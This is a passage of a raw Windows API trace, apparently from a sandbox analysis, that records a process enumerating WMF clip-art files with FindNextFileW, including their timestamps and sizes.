cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0255.846] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0255.846] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0255.846] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0255.847] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0255.847] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0255.847] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0255.847] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0255.848] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0255.848] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0255.848] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0255.848] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0255.849] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0255.849] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0255.849] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0255.850] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0255.850] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0255.850] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0256.170] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0256.170] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0256.171] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0256.171] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0256.171] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0256.171] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0256.171] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0256.172] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0256.172] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0256.172] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0256.172] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0256.173] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0256.173] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0256.173] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0256.173] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0256.173] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0256.173] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0256.174] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0256.174] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0256.174] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0256.174] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0256.174] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0256.174] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0256.175] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0256.175] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0256.175] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0256.175] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0256.175] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0256.176] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0256.177] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0256.177] FindNextFileW (in: hFindFile=0x65bbc8, 